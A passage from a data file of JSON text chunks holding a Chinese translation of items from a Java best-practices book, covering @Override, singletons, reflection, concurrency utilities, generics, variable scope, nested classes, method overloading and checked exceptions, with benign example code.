Framework 所做的工作是聚合（aggregation）。 在 Java 7 中， Executor Framework 得到了扩展，它可以支持 fork-join 任务了，这些任务是通过一种称作 fork-join 池的特殊 executor 服务运行的。fork-join 任务用 ForkJoinTask 实例表示，可以被分成更小的子任务，包含 ForkJoinPool 的线程不仅要处理这些任务，还要从另一个线程中“偷”任务，以确保所有的线程保持忙碌，从而提高 CPU 使用率、提高吞吐量，并降低延迟。fork-join 任务的编写和调优是很有技巧的。并发的 stream （详见第 48 条）是在 fork join 池上编写的，我们不费什么力气就能享受到它们的性能优势，前提是假设它们正好适用于我们手边的任务。 Executor Framework 的完整处理方法超出了本书的讨论范围，但是有兴趣的读者可以参阅《Java Concurrency in Practice 》一书［Goetz06 ］ 。"},
    {"text": "40. 始终使用Override注解.md 40. 始终使用Override注解.md 40. 始终使用 Override 注解 Java 类库包含几个注解类型。对于典型的程序员来说，最重要的是 @Override 。此注解只能在方法声明上使用，它表明带此注解的方法声明重写了父类的声明。如果始终使用这个注解，它将避免产生大量的恶意 bug。考虑这个程序，在这个程序中，类 Bigram 表示双字母组合，或者是有序的一对字母： // Can you spot the bug? public class Bigram { private final char first; private final char second; public Bigram ( char first, char second) { this .first = first; this .second = second; } public boolean equals (Bigram b) { return b.first == first && b.second == second; } public int hashCode () { return 31 * first + second; } public static void main (String[] args) { Set<Bigram> s = new HashSet<>(); for ( int i = 0 ; i < 10 ; i++) for ( char ch = 'a' ; ch <= 'z' ; ch++) s.add( new Bigram(ch, ch)); System.out.println(s.size()); } } 主程序重复添加二十六个双字母组合到集合中，每个双字母组合由两个相同的小写字母组成。 然后它会打印集合的大小。 你可能希望程序打印 26，因为集合不能包含重复项。 如果你尝试运行程序，你会发现它打印的不是 26，而是 260。它有什么问题？ 显然， Bigram 类的作者打算重写 equals 方法（条目 10），甚至记得重写 hashCode （条目 11）。 不幸的是，我们倒霉的程序员没有重写 equals ，而是重载它（条目 52）。 要重写 Object.equals ，必须定义一个 equals 方法，其参数的类型为 Object ，但 Bigram 的 equals 方法的参数不是 Object 类型的，因此 Bigram 继承 Object 的 equals 方法，这个 equals 方法测试对象的引用是否是同一个，就像 == 运算符一样。 每个祖母组合的 10 个副本中的每一个都与其他 9 个副本不同，所以它们被 Object.equals 视为不相等，这就解释了程序打印 260 的原因。 幸运的是，编译器可以帮助你找到这个错误，但只有当你通过告诉它你打算重写 Object.equals 来帮助你。 要做到这一点，用 @Override 注解 Bigram.equals 方法，如下所示： @Override public boolean equals (Bigram b) { return b.first == first && b.second == second; } 如果插入此注解并尝试重新编译该程序，编译器将生成如下错误消息： Bigram.java: 10 : method does not override or implement a method from a supertype @Override public boolean equals (Bigram b) { ^ 你会立刻意识到你做错了什么，在额头上狠狠地打了一下，用一个正确的（条目 10）来替换出错的 equals 实现： @Override public boolean equals (Object o) { if (!(o instanceof Bigram)) return false ; Bigram b = (Bigram) o; return b.first == first && b.second == second; } 因此，应该在你认为要重写父类声明的每个方法声明上使用 Override 注解。 这条规则有一个小例外。 如果正在编写一个没有标记为抽象的类，并且确信它重写了其父类中的抽象方法，则无需将 Override 注解放在该方法上。 在没有声明为抽象的类中，如果无法重写抽象父类方法，编译器将发出错误消息。 但是，你可能希望关注类中所有重写父类方法的方法，在这种情况下，也应该随时注解这些方法。 大多数 IDE 可以设置为在选择重写方法时自动插入 Override 注解。 大多数 IDE 提供了是种使用 Override 注解的另一个理由。 如果启用适当的检查功能，如果有一个方法没有 Override 注解但是重写父类方法，则 IDE 将生成一个警告。 如果始终使用 Override 注解，这些警告将提醒你无意识的重写。 它们补充了编译器的错误消息，这些消息会提醒你无意识重写失败。 IDE 和编译器，可以确保你在任何你想要的地方和其他地方重写方法，万无一失。 Override 注解可用于重写来自接口和类的方法声明。 随着 default 默认方法的出现，在接口方法的具体实现上使用 Override 以确保签名是正确的是一个好习惯。 如果知道某个接口没有默认方法，可以选择忽略接口方法的具体实现上的 Override 注解以减少混乱。 然而，在一个抽象类或接口中，值得标记的是你认为重写父类或父接口方法的所有方法，无论是具体的还是抽象的。 例如， Set 接口不会向 Collection 接口添加新方法，因此它应该在其所有方法声明中包含 Override 注解以确保它不会意外地向 Collection 接口添加任何新方法。 总之，如果在每个方法声明中使用 Override 注解，并且认为要重写父类声明，那么编译器可以保护免受很多错误的影响，但有一个例外。 在具体的类中，不需要注解标记你确信可以重写抽象方法声明的方法（尽管这样做也没有坏处）。"},
    {"text": "03. 使用私有构造方法或枚类实现Singleton属性.md 03. 使用私有构造方法或枚类实现Singleton属性.md 3. 使用私有构造方法或枚类实现 Singleton 属性 单例是一个仅实例化一次的类[Gamma95]。单例对象通常表示无状态对象，如函数 (条目 24) 或一个本质上唯一的系统组件。让一个类成为单例会使测试它的客户变得困难，因为除非实现一个作为它类型的接口，否则不可能用一个模拟实现替代单例。 有两种常见的方法来实现单例。两者都基于保持构造方法私有和导出公共静态成员以提供对唯一实例的访问。在第一种方法中，成员是 final 修饰的属性： // Singleton with public final field public class Elvis { public static final Elvis INSTANCE = new Elvis(); private Elvis () { ... } public void leaveTheBuilding () { ... } } 私有构造方法只调用一次，来初始化公共静态 final Elvis.INSTANCE 属性。缺少一个公共的或受保护的构造方法，保证了全局的唯一性：一旦 Elvis 类被初始化，一个 Elvis 的实例就会存在——不多也不少。客户端所做的任何事情都不能改变这一点，但需要注意的是：特权客户端可以使用 AccessibleObject.setAccessible 方法，以反射方式调用私有构造方法 (条目 65)。如果需要防御此攻击，请修改构造函数，使其在请求创建第二个实例时抛出异常。 在第二个实现单例的方法中，公共成员是一个静态的工厂方法： // Singleton with static factory public class Elvis { private static final Elvis INSTANCE = new Elvis(); private Elvis () { ... } public static Elvis getInstance () { return INSTANCE; } public void leaveTheBuilding () { ... } } 所有对 Elvis.getInstance 的调用都返回相同的对象引用，并且不会创建其他的 Elvis 实例（与前面提到的警告相同）。 公共属性方法的主要优点是 API 明确表示该类是一个单例：公共静态属性是 final 的，所以它总是包含相同的对象引用。 第二个好处是它更简单。 静态工厂方法的一个优点是，它可以灵活地改变你的想法，无论该类是否为单例而不必更改其 API。 工厂方法返回唯一的实例，但是可以修改，比如，返回调用它的每个线程的单独实例。 第二个好处是，如果你的应用程序需要它，可以编写一个泛型单例工厂（generic singleton factory ）（条目 30）。 使用静态工厂的最后一个优点是方法引用可以用 supplier ，例如 Elvis::instance 等同于 Supplier<Elvis> 。 除非与这些优点相关的，否则公共属性方法是可取的。 创建一个使用这两种方法的单例类 (第 12 章)，仅仅将 implements Serializable 添加到声明中是不够的。为了维护单例的保证，声明所有的实例属性为 transient ，并提供一个 readResolve 方法 (条目 89)。否则，每当序列化实例被反序列化时，就会创建一个新的实例，在我们的例子中，导致出现新的 Elvis 实例。为了防止这种情况发生，将这个 readResolve 方法添加到 Elvis 类： // readResolve method to preserve singleton property private Object readResolve () { // Return the one true Elvis and let the garbage collector // take care of the Elvis impersonator. return INSTANCE; } 实现一个单例的第三种方法是声明单一元素的枚举类： // Enum singleton - the preferred approach public enum Elvis { INSTANCE; public void leaveTheBuilding () { ... } } 这种方式类似于公共属性方法，但更简洁，提供了免费的序列化机制，并提供了针对多个实例化的坚固保证，即使是在复杂的序列化或反射攻击的情况下。这种方法可能感觉有点不自然，但是单一元素枚举类通常是实现单例的最佳方式。注意，如果单例必须继承 Enum 以外的父类 (尽管可以声明一个 Enum 来实现接口)，那么就不能使用这种方法。"},
    {"text": "此外，Constructor、Method 和 Field 实例允许你反射性地操作它们的底层对应项：你可以通过调用 Constructor、Method 和 Field 实例上的方法，可以构造底层类的实例、调用底层类的方法，并访问底层类中的字段。"},
    {"text": "如果你指定 java.util.TreeSet ，它们是按字母顺序打印的，因为 TreeSet 中的元素是有序的： // Reflective instantiation with interface access public static void main (String[] args) { // Translate the class name into a Class object Class<? extends Set<String>> cl = null ; try { cl = (Class<? extends Set<String>>) // Unchecked cast! Class.forName(args[ 0 ]); } catch (ClassNotFoundException e) { fatalError( \"Class not found.\" ); } // Get the constructor Constructor<? extends Set<String>> cons = null ; try { cons = cl.getDeclaredConstructor(); } catch (NoSuchMethodException e) { fatalError( \"No parameterless constructor\" ); } // Instantiate the set Set<String> s = null ; try { s = cons.newInstance(); } catch (IllegalAccessException e) { fatalError( \"Constructor not accessible\" ); } catch (InstantiationException e) { fatalError( \"Class not instantiable.\" ); } catch (InvocationTargetException e) { fatalError( \"Constructor threw \" + e.getCause()); } catch (ClassCastException e) { fatalError( \"Class doesn't implement Set\" ); } // Exercise the set s.addAll(Arrays.asList(args).subList( 1 , args.length)); System.out.println(s); } private static void fatalError (String msg) { System.err.println(msg); System.exit( 1 ); } 虽然这个程序只是一个小把戏，但它演示的技术非常强大。"},
    {"text": "81. 相比 wait 和 notify 优先使用并发工具.md 81. 相比 wait 和 notify 优先使用并发工具.md 81. 相比 wait 和 notify 优先使用并发工具 本书第 1 版中专门用了一个条目来说明如何正确地使用 wait 和 notify ( Bloch01，详见第 50 条） 。"},
    {"text": "java.util.concurrent 中更高级的工具分成三类： Executor Framework 、并发集合（ Concurrent Collection ）以及同步器（ Synchronizer），Executor Framework 只在第 80 条中简单地提到过，并发集合和同步器将在本条目中进行简单的阐述。"},
    {"text": "例如，下面这个方法模拟了 String . intern 的行为： // Concurrent canonicalizing map atop ConcurrentMap - not optimal private static final ConcurrentMap<String, String> map = new ConcurrentHashMap<>(); public static String intern (String s) { String previousValue = map.putIfAbsent(s, s); return previousValue == null ? s : previousValue; } 事实上，你还可以做得更好。"},
    {"text": "因此，只有当 get 表明有必要的时候，才值得先调用 get ，再调用 putIfAbsent : // Concurrent canonicalizing map atop ConcurrentMap - faster! public static String intern (String s) { String result = map.get(s); if (result == null ) { result = map.putIfAbsent(s, s); if (result == null ) result = s; } return result; } ConcurrentHashMap 除了提供卓越的并发性之外，速度也非常快。"},
    {"text": "在我的机器上，上面这个优化过的 intern 方法比 String.intern 快了不止 6 倍（但是记住， String.intern 必须使用某种弱引用，避免随着时间的推移而发生内存泄漏）。"},
    {"text": "这样就允许将阻塞队列用于工作队列（ work queue ），也称作生产者一消费者队列 (producer-consumer queue ），一个或者多个生产者线程（ producer thread ）在工作队列中添加工作项目，并且当工作项目可用时，一个或者多个消费者线程（ consumer thread ）则从工作队列中取出队列并处理工作项目。"},
    {"text": "倒计数锁存器（ Countdown Latch ）是一次性的障碍，允许一个或者多个线程等待一个或者多个其他线程来做某些事情。 Count DownLatch 的唯一构造器带有一个 int 类型的参数，这个 int 参数是指允许所有在等待的线程被处理之前，必须在锁存器上调用 countDown 方法的次数。"},
    {"text": "这个框架中只包含单个方法，该方法带有一个执行该动作的 executor ，一个并发级别（表示要并发执行该动作的次数），以及表示该动作的 runnable 。"},
    {"text": "所有的工作线程（ worker thread ）自身都准备好，要在 timer 线程启动时钟之前运行该动作。 当最后一个工作线程准备好运行该动作时， timer 线程就“发起头炮”，同时允许工作线程执行该动作。 一旦最后一个工作线程执行完该动作，timer 线程就立即停止计时。"},
    {"text": "直接在 wait 和 notify 之上实现这个逻辑会很棍乱，而在 CountDownLatch 之上实现则相当简单： // Simple framework for timing concurrent execution public static long time (Executor executor, int concurrency, Runnable action) throws InterruptedException { CountDownLatch ready = new CountDownLatch(concurrency); CountDownLatch start = new CountDownLatch( 1 ); CountDownLatch done = new CountDownLatch(concurrency); for ( int i = 0 ; i < concurrency; i++) { executor.execute(() -> { ready.countDown(); // Tell timer we're ready try { start.await(); // Wait till peers are ready action.run(); } catch (InterruptedException e) { Thread.currentThread().interrupt(); } finally { done.countDown(); // Tell timer we're done } }); } ready.await(); // Wait for all workers to be ready long startNanos = System.nanoTime(); start.countDown(); // And they're off! done.await(); // Wait for all workers to finish return System.nanoTime() - startNanos; } 注意这个方法使用了三个倒计数锁存器。"},
    {"text": "当最后一个工作线程调用 ready.countDowη 时， timer 线程记录下起始时间，并调用 start.countDown 允许所有的工作线程继续进行。 然后 timer 线程在第三个锁存器 done 上等待，直到最后一个工作线程运行完该动作，并调用 done.countDown 。"},
    {"text": "wait 方法被用来使线程等待某个条件。 它必须在同步区域内部被调用，这个同步区域将对象锁定在了调用 wait 方法的对象上。 下面是使用 wait 方法的标准模式： // The standard idiom for using the wait method synchronized (obj) { while (<condition does not hold>) obj.wait(); // (Releases lock, and reacquires on wakeup) ... // Perform action appropriate to condition } 始终应该使用 wait 循环模式来调用 wait 方法；"},
    {"text": "当条件不成立的时候，如果线程继续执行，则可能会破坏被锁保护的约束关系。 当条件不成立时，有以下理由可使一个线程苏醒过来： 另一个线程可能已经得到了锁，并且从一个线程调用 notify 方法那一刻起，到等待线程苏醒过来的这段时间中，得到锁的线程已经改变了受保护的状态。 条件并不成立，但是另一个线程可能意外地或恶意地调用了 notify 方法。"},
    {"text": "通知线程（ notifying thread ）在唤醒等待线程时可能会过度“大方” 。 例如，即使只有某些等待线程的条件已经被满足，但是通知线程可能仍然调用 notifyAll 方法。 在没有通知的情况下，等待线程也可能（但很少）会苏醒过来。"},
    {"text": "一个相关的话题是，为了唤醒正在等待的线程，你应该使用 notify 方法还是 notifyAll 方法（回忆一下， notify 方法唤醒的是单个正在等待的线程，假设有这样的线程存在，而 notifyAll 方法唤醒的则是所有正在等待的线程） 。"},
    {"text": "从优化的角度来看，如果处于等待状态的所有线程都在等待同一个条件，而每次只有一个线程可以从这个条件中被唤醒，那么你就应该选择调用 notify 方法，而不是 notifyAll 方法。"},
    {"text": "就好像把 wait 方法调用放在一个循环中，以避免在公有可访问对象上的意外或恶意的通知一样，与此类似，使用 notifyAll 方法代替 notify 方法可以避免来自不相关线程的意外或恶意的等待。"},
    {"text": "考虑条目 7 中的简单堆栈实现： // Object-based collection - a prime candidate for generics public class Stack { private Object[] elements; private int size = 0 ; private static final int DEFAULT_INITIAL_CAPACITY = 16 ; public Stack () { elements = new Object[DEFAULT_INITIAL_CAPACITY]; } public void push (Object e) { ensureCapacity(); elements[size++] = e; } public Object pop () { if (size == 0 ) throw new EmptyStackException(); Object result = elements[--size]; elements[size] = null ; // Eliminate obsolete reference return result; } public boolean isEmpty () { return size == 0 ; } private void ensureCapacity () { if (elements.length == size) elements = Arrays.copyOf(elements, 2 * size + 1 ); } } 这个类应该已经被参数化了，但是由于事实并非如此，我们可以对它进行泛型化。"},
    {"text": "下一步是用相应的类型参数替换所有使用的 Object 类型，然后尝试编译生成的程序： // Initial attempt to generify Stack - won't compile! public class Stack < E > { private E[] elements; private int size = 0 ; private static final int DEFAULT_INITIAL_CAPACITY = 16 ; public Stack () { elements = new E[DEFAULT_INITIAL_CAPACITY]; } public void push (E e) { ensureCapacity(); elements[size++] = e; } public E pop () { if (size == 0 ) throw new EmptyStackException(); E result = elements[--size]; elements[size] = null ; // Eliminate obsolete reference return result; } ... // no changes in isEmpty or ensureCapacity } 你通常会得到至少一个错误或警告，这个类也不例外。 幸运的是，这个类只产生一个错误： Stack.java: 8 : generic array creation elements = new E[DEFAULT_INITIAL_CAPACITY]; ^ 如条目 28 所述，你不能创建一个不可具体化类型的数组，例如类型 E 。"},
    {"text": "这种用法是合法的，但不是（一般）类型安全的： Stack.java: 8 : warning: [unchecked] unchecked cast found: Object[], required: E[] elements = (E[]) new Object[DEFAULT_INITIAL_CAPACITY]; ^ 编译器可能无法证明你的程序是类型安全的，但你可以。"},
    {"text": "通过添加一个注解来执行此操作， Stack 可以干净地编译，并且可以在没有显式强制转换或担心 ClassCastException 异常的情况下使用它： // The elements array will contain only E instances from push(E). // This is sufficient to ensure type safety, but the runtime // type of the array won't be E[]; it will always be Object[]! @SuppressWarnings ( \"unchecked\" ) public Stack () { elements = (E[]) new Object[DEFAULT_INITIAL_CAPACITY]; } 消除 Stack 中的泛型数组创建错误的第二种方法是将属性元素的类型从 E[] 更改为 Object[] 。 如果这样做，会得到一个不同的错误： Stack.java: 19 : incompatible types found: Object, required: E E result = elements[--size]; ^ 可以通过将从数组中检索到的元素转换为 E 来将此错误更改为警告： Stack.java: 19 : warning: [unchecked] unchecked cast found: Object, required: E E result = (E) elements[--size]; ^ 因为 E 是不可具体化的类型，编译器无法在运行时检查强制转换。"},
    {"text": "根据条目 27 的建议，我们只在包含未经检查的强制转换的分配上抑制警告，而不是在整个 pop 方法上： // Appropriate suppression of unchecked warning public E pop () { if (size == 0 ) throw new EmptyStackException(); // push requires elements to be of type E, so cast is correct @SuppressWarnings ( \"unchecked\" ) E result = (E) elements[--size]; elements[size] = null ; // Eliminate obsolete reference return result; } 两种消除泛型数组创建的技术都有其追随者。"},
    {"text": "它也更简洁：在一个典型的泛型类中，你从代码中的许多点读取数组; 第一种技术只需要一次转换（创建数组的地方），而第二种技术每次读取数组元素都需要单独转换。"},
    {"text": "对从堆栈弹出的元素调用 String 的 toUpperCase 方法不需要显式强制转换，而自动生成的强制转换将保证成功： // Little program to exercise our generic Stack public static void main (String[] args) { Stack<String> stack = new Stack<>(); for (String arg : args) stack.push(arg); while (!stack.isEmpty()) System.out.println(stack.pop().toUpperCase()); } 上面的例子似乎与条目 28 相矛盾，条目 28 中鼓励使用列表优先于数组。"},
    {"text": "绝大多数泛型类型就像我们的 Stack 示例一样，它们的类型参数没有限制：可以创建一个 Stack<Object>，Stack<int[]> ， Stack<List<String>> 或者其他任何对象的 Stack 引用类型。"},
    {"text": "例如，考虑 java.util.concurrent.DelayQueue ，它的声明如下所示： class DelayQueue < E extends Delayed > implements BlockingQueue < E > 类型参数列表（ <E extends Delayed> ）要求实际的类型参数 E 是 java.util.concurrent.Delayed 的子类型。"},
    {"text": "57. 最小化局部变量的作用域.md 57. 最小化局部变量的作用域.md 57. 最小化局部变量的作用域 这条目在性质上类似于条目 15，即“最小化类和成员的可访问性”。通过最小化局部变量的作用域，可以提高代码的可读性和可维护性，并降低出错的可能性。 较早的编程语言（如 C）要求必须在代码块的头部声明局部变量，并且一些程序员继续习惯这样做。 这是一个值得改进的习惯。 作为提醒，Java 允许你在任何合法的语句的地方声明变量（as does C, since C99）。 用于最小化局部变量作用域的最强大的技术是再首次使用的地方声明它 。 如果变量在使用之前被声明，那就变得更加混乱—— 这也会对试图理解程序的读者来讲，又增加了一件分散他们注意力的事情。 到使用该变量时，读者可能不记得变量的类型或初始值。 过早地声明局部变量可能导致其作用域不仅过早开始而且结束太晚。 局部变量的作用域从声明它的位置延伸到封闭块的末尾。 如果变量在使用它的封闭块之外声明，则在程序退出该封闭块后它仍然可见。如果在其预定用途区域之前或之后意外使用变量，则后果可能是灾难性的。 几乎每个局部变量声明都应该包含一个初始化器 。如果还没有足够的信息来合理地初始化一个变量，那么应该推迟声明，直到认为可以这样做。这个规则的一个例外是 try-catch 语句。如果一个变量被初始化为一个表达式，该表达式的计算结果可以抛出一个已检查的异常，那么该变量必须在 try 块中初始化 (除非所包含的方法可以传播异常)。如果该值必须在 try 块之外使用，那么它必须在 try 块之前声明，此时它还不能被“合理地初始化”。例如，参照条目 65 中的示例。 循环提供了一个特殊的机会来最小化变量的作用域。传统形式的 for 循环和 for-each 形式都允许声明循环变量，将其作用域限制在需要它们的确切区域。 （该区域由循环体和 for 关键字与正文之间的括号中的代码组成）。因此，如果循环终止后不需要循环变量的内容，那么 优先选择 for 循环而不是 while 循环 。 例如，下面是遍历集合的首选方式（条目 58）： // Preferred idiom for iterating over a collection or array for (Element e : c) { ... // Do Something with e } 如果需要访问迭代器，也许是为了调用它的 remove 方法，首选的习惯用法，使用传统的 for 循环代替 for-each 循环： // Idiom for iterating when you need the iterator for (Iterator<Element> i = c.iterator(); i.hasNext(); ) { Element e = i.next(); ... // Do something with e and i } 要了解为什么这些 for 循环优于 while 循环，请考虑以下代码片段，其中包含两个 while 循环和一个 bug： Iterator<Element> i = c.iterator(); while (i.hasNext()) { doSomething(i.next()); } ... Iterator<Element> i2 = c2.iterator(); while (i.hasNext()) { // BUG! doSomethingElse(i2.next()); } 第二个循环包含一个复制粘贴错误：它初始化一个新的循环变量 i2，但是使用旧的变量 i，不幸的是，它仍在范围内。 生成的代码编译时没有错误，并且在不抛出异常的情况下运行，但它做错了。 第二个循环不是在 c2 上迭代，而是立即终止，给出了 c2 为空的错误印象。 由于程序无声地出错，因此错误可能会长时间无法被检测到。 如果将类似的复制粘贴错误与 for 循环 (for-each 循环或传统循环) 结合使用，则生成的代码甚至无法编译。第一个循环中的元素 (或迭代器) 变量不在第二个循环中的作用域中。下面是它与传统 for 循环的示例: for (Iterator<Element> i = c.iterator(); i.hasNext(); ) { Element e = i.next(); ... // Do something with e and i } ... // Compile-time error - cannot find symbol i for (Iterator<Element> i2 = c2.iterator(); i.hasNext(); ) { Element e2 = i2.next(); ... // Do something with e2 and i2 } 此外，如果使用 for 循环，那么发送这种复制粘贴错误的可能性要小得多，因为没有必要在两个循环中使用不同的变量名。 循环是完全独立的，因此重用元素（或迭代器）变量名称没有坏处。 事实上，这样做通常很流行。 for 循环比 while 循环还有一个优点：它更短，增强了可读性。 下面是另一种循环习惯用法，它最小化了局部变量的作用域: for ( int i = 0 , n = expensiveComputation(); i < n; i++) { ... // Do something with i; } 关于这个做法需要注意的重要一点是，它有两个循环变量，i 和 n，它们都具有完全相同的作用域。第二个变量 n 用于存储第一个变量的限定值，从而避免了每次迭代中冗余计算的代价。作为一个规则，如果循环测试涉及一个方法调用，并且保证在每次迭代中返回相同的结果，那么应该使用这种用法。 最小化局部变量作用域的最终技术是 保持方法小而集中 。 如果在同一方法中组合两个行为（activities），则与一个行为相关的局部变量可能会位于执行另一个行为的代码范围内。 为了防止这种情况发生，只需将方法分为两个：每个行为对应一个方法。"},
    {"text": "在非静态成员类的实例方法中，可以调用宿主实例上的方法，或者使用限定的构造[JLS，15.8.4] 获得对宿主实例的引用。 如果嵌套类的实例可以与其宿主类的实例隔离存在，那么嵌套类必须是静态成员类：不可能在没有宿主实例的情况下创建非静态成员类的实例。 非静态成员类实例和其宿主实例之间的关联是在创建成员类实例时建立的，并且之后不能被修改。 通常情况下，通过在宿主类的实例方法中调用非静态成员类构造方法来自动建立关联。"},
    {"text": "同样，集合接口（如 Set 和 List ）的实现通常使用非静态成员类来实现它们的迭代器： // Typical use of a nonstatic member class public class MySet < E > extends AbstractSet < E > { ... // Bulk of the class omitted @Override public Iterator<E> iterator () { return new MyIterator(); } private class MyIterator implements Iterator < E > { ... } } 如果你声明了一个不需要访问宿主实例的成员类，总是把 static 修饰符放在它的声明中，使它成为一个静态成员类，而不是非静态的成员类。"},
    {"text": "但是，即使它们出现在静态上下文中，它们也不能有除常量型变量之外的任何静态成员，这些常量型变量包括 final 的基本类型，或者初始化常量表达式的字符串属性[JLS，4.12.4]。"},
    {"text": "假设这个类属于一个方法内部，如果你只需要从一个地方创建实例，并且存在一个预置类型来说明这个类的特征，那么把它作为一个匿名类; 否则，把它变成局部类。"},
    {"text": "52. 明智审慎地使用重载.md 52. 明智审慎地使用重载.md 52. 明智审慎地使用重载 下面的程序是一个善意的尝试，根据 Set、List 或其他类型的集合对它进行分类： // Broken! - What does this program print? public class CollectionClassifier { public static String classify (Set<?> s) { return \"Set\" ; } public static String classify (List<?> lst) { return \"List\" ; } public static String classify (Collection<?> c) { return \"Unknown Collection\" ; } public static void main (String[] args) { Collection<?>[] collections = { new HashSet<String>(), new ArrayList<BigInteger>(), new HashMap<String, String>().values() }; for (Collection<?> c : collections) System.out.println(classify(c)); } } 您可能希望此程序打印 Set，然后是 List 和 Unknown Collection 字符串，实际上并没有。"},
    {"text": "为了具体说明，请考虑以下程序： class Wine { String name () { return \"wine\" ; } } class SparklingWine extends Wine { @Override String name () { return \"sparkling wine\" ; } } class Champagne extends SparklingWine { @Override String name () { return \"champagne\" ; } } public class Overriding { public static void main (String[] args) { List<Wine> wineList = List.of( new Wine(), new SparklingWine(), new Champagne()); for (Wine wine : wineList) System.out.println(wine.name()); } } name 方法在 Wine 类中声明，并在子类 SparklingWine 和 Champagne 中重写。"},
    {"text": "当调用重写方法时，对象的编译时类型对执行哪个方法没有影响; 总是会执行“最具体 (most specific)”的重写方法。 将此与重载进行比较，其中对象的运行时类型对执行的重载没有影响; 选择是在编译时完成的，完全基于参数的编译时类型。"},
    {"text": "假设需要一个静态方法，修复 CollectionClassifier 程序的最佳方法是用一个执行显式 instanceof 测试的方法替换 classify 的所有三个重载： public static String classify (Collection<?> c) { return c instanceof Set ? \"Set\" : c instanceof List ? \"List\" : \"Unknown Collection\" ; } 因为重写是规范，而重载是例外，所以重写设置了人们对方法调用行为的期望。"},
    {"text": "对于每个基本类型和几个引用类型，它都有其 write 方法的变体。 这些变体都有不同的名称，例如 writeBoolean(boolean) 、 writeInt(int) 和 writeLong(long) ，而不是重载 write 方法。"},
    {"text": "考虑以下程序： public class SetList { public static void main (String[] args) { Set<Integer> set = new TreeSet<>(); List<Integer> list = new ArrayList<>(); for ( int i = - 3 ; i < 3 ; i++) { set.add(i); list.add(i); } for ( int i = 0 ; i < 3 ; i++) { set.remove(i); list.remove(i); } System.out.println(set + \" \" + list); } } 首先，程序将从-3 到 2 的整数添加到有序集合和列表中。"},
    {"text": "如果你和大多数人一样，希望程序从集合和列表中删除非负值（0, 1 和 2）并打印[-3, -2, -1] [ - 3, -2, -1]。 实际上，程序从集合中删除非负值，从列表中删除奇数值，并打印[-3, -2, -1] [-2, 0, 2]。"},
    {"text": "如果从列表[-3, -2, -1, 0, 1, 2] 开始，移除第 0 个元素，然后是第 1 个，然后是第二个，就只剩下[-2, 0, 2]，谜底就解开了。"},
    {"text": "若要修复此问题，请强制转换 list.remove 的参数为 Integer 类型，迫使选择正确的重载。 或者，也可以调用 Integer.valueOf(i) ，然后将结果传递给 list.remove 方法。 无论哪种方式，程序都会按预期打印[-3, -2, -1][-3, -2, -1]: for ( int i = 0 ; i < 3 ; i++) { set.remove(i); list.remove((Integer) i); // or remove(Integer.valueOf(i)) } 前一个示例所演示的令人混乱的行为是由于 List<E> 接口对 remove 方法有两个重载： remove(E) 和 remove(int) 。 在 Java 5 之前，当 List 接口被“泛型化”时，它有一个 remove(Object) 方法代替 remove(E) ，而相应的参数类型 Object 和 int 则完全不同。"},
    {"text": "例如，考虑以下两个代码片段： new Thread(System.out::println).start(); ExecutorService exec = Executors.newCachedThreadPool(); exec.submit(System.out::println); 虽然 Thread 构造方法调用和 submit 方法调用看起来很相似，但是前者编译而后者不编译。"},
    {"text": "从技术上讲，问题是 System.out :: println 是一个不精确的方法引用[JLS，15.13.1]，并且『包含隐式类型的 lambda 表达式或不精确的方法引用的某些参数表达式被适用性测试忽略，因为在选择目标类型之前无法确定它们的含义[JLS，15.12.2]。』"},
    {"text": "还有其他『类型对 (pairs of types)』不能在任何方向转换[JLS, 5.1.12]，但是一旦超出上面描述的简单情况，大多数程序员就很难辨别哪些重载 (如果有的话) 适用于一组实际参数。"},
    {"text": "在 Java 5 中，添加了 CharSequence 接口，来为 StringBuffer 、 StringBuilder 、 String 、 CharBuffer 和其他类似类型提供公共接口。 在添加 CharSequence 的同时，String 还配备了一个重载的 contenttequals 方法，该方法接受 CharSequence 参数。"},
    {"text": "虽然上面的重载明显违反了此条目中的指导原则，但它不会造成任何危害，因为当在同一个对象引用上调用这两个重载方法时，它们做的是完全相同的事情。"},
    {"text": "确保这种行为的标准方法是，将更具体的重载方法调用转发给更一般的重载方法: // Ensuring that 2 methods have identical behavior by forwarding public boolean contentEquals (StringBuffer sb) { return contentEquals((CharSequence) sb); } 虽然 Java 类库在很大程度上遵循了这一条目中的建议，但是有一些类违反了它。"},
    {"text": "71. 避免不必要的使用受检异常.md 71. 避免不必要的使用受检异常.md 71. 避免不必要的使用受检异常 Java 程序员不喜欢受检异常，但是如果使用得当，它们可以改善 API 和程序。不返回码和未受检异常的是，它们强迫程序员处理异常的条件，大大增强了可靠性。也就是说，过分使用受检异常会使 API 使用起来非常不方便。如果方法抛出受检异常，调用该方法代码就必须在一个或者多个 catch 块中处理这些异常，或者它必须声明抛出这些异常，并让它们传播出去。无论使用哪一种方法，都给程序员增添了不可忽视的负担。这种负担在 Java 8 中更重了，因为抛出受检异常的方法不能直接在 Stream 中使用（详见第 45 条至第 48 条）。 如果正确地使用 API 并不能阻止这种异常条件的产生，并且一旦产生异常，使用 API 的程序员可以立即采取有用的动作，这种负担就被认为是正当的。除非这两个条件都成立，否则更适合于使用未受检异常。作为一个石蕊测试（石蕊测试是指简单而具有决定性的测试），你可以试着问自己：程序员将如何处理该异常。下面的做法是最好的吗？ } catch ( TheCheckedException e ) { throw new AssertionError(); /* Can't happen! */ } 下面这种做法又如何？ } catch ( TheCheckedException e ) { e.printStackTrace(); /* Oh well, we lose. */ System.exit( 1 ); } 如果使用 API 的程序员无法做得比这更好那么未受检的异常可能更为合适。 如果方法抛出的受检异常是唯一的，它给程序员带来的额外负担就会非常高。如果这个方法还有其他的受检异常，该方法被调用的时候，必须已经出现在一个 try 块中，所以这个异常只需要另外一个 catch 块。如果方法只抛出一个受检异常，单独这一个异常就表示：该方法必须放置于一个 try 块中，并且不能在 Stream 中直接使用。这种情况下，应该问问自己，是否还有别的途径可以避免使用受检异常。 除受检异常最容易的方法是，返回所要的结果类型的一个 optional（详见第 55 条）。这个方法不抛出受检异常，而只是返回一个零长度的 optional。这种方法的缺点是，方法无法返回任何额外的信息，来详细说明它无法执行你想要的计算。相反，异常则具有描述性的类型，并且能够导出方法，以提供额外的信息（详见第 70 条）。 “把受检异常变成未受检异常”的一种方法是，把这个抛出异常的方法分成两个方法，其中第一个方法返回一个 boolean 值，表明是否应该抛出异常。这种 API 重构，把下面的调用序列： /* Invocation with checked exception */ try { obj.action( args ); } catch ( TheCheckedException e ) { ... /* Handle exceptional condition */ } 重构为： /* Invocation with state-testing method and unchecked exception */ if ( obj.actionPermitted( args ) ) { obj.action( args ); } else { ... /* Handle exceptional condition */ } 